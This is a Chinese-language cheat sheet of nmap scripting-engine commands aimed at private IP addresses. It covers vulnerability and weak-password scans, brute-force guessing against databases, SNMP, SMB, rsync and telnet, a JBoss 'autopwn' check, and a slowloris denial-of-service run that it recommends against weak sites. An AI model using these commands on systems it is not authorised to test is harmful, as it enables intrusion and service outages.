1.检测mysql空密码:
nmap -p3306 --script=mysql-empty-password.nse 192.168.0.254
2.检测系统中常见漏洞:
nmap --script=vuln 192.168.0.254
3.负责处理鉴权证书(绕开鉴权)的脚本,也可以作为检测部分应用弱口令
nmap --script=auth 192.168.137.*
4.提供暴力破解的方式 可对数据库,smb,snmp等进行简单密码的暴力猜解
nmap --script=brute 192.168.137.*
5.默认的脚本扫描,主要是搜集各种应用服务的信息,收集到后,可再针对具体服务进行攻击
nmap --script=default 192.168.137.* 或者 nmap -sC 192.168.137.*
6.在局域网内探查更多服务开启状况
nmap -n -p445 --script=broadcast 192.168.137.4
7.支持同一应用的所有脚本扫描
nmap --script=mysql-* 192.168.137.4
8.其他一些比较好用的脚本
nmap --script=broadcast-netbios-master-browser 192.168.137.4 发现网关 nmap -p 873 --script rsync-brute --script-args 'rsync-brute.module=www' 192.168.137.4 破解 rsync nmap --script informix-brute -p 9088 192.168.137.4 informix数据库破解 nmap -p 5432 --script pgsql-brute 192.168.137.4 pgsql破解 nmap -sU --script snmp-brute 192.168.137.4 snmp破解 nmap -sV --script=telnet-brute 192.168.137.4 telnet破解 nmap --script=http-vuln-cve2010-0738 --script-args 'http-vuln-cve2010-0738.paths= {/path1/,/path2/}' <target> jboss autopwn nmap --script=http-methods.nse 192.168.137.4 检查http方法 nmap --script http-slowloris --max-parallelism 400 192.168.137.4 dos攻击,对于处理能力较小的站点 还挺好用的 'half-HTTP' connections nmap --script=samba-vuln-cve-2012-1182 -p 139 192.168.137.4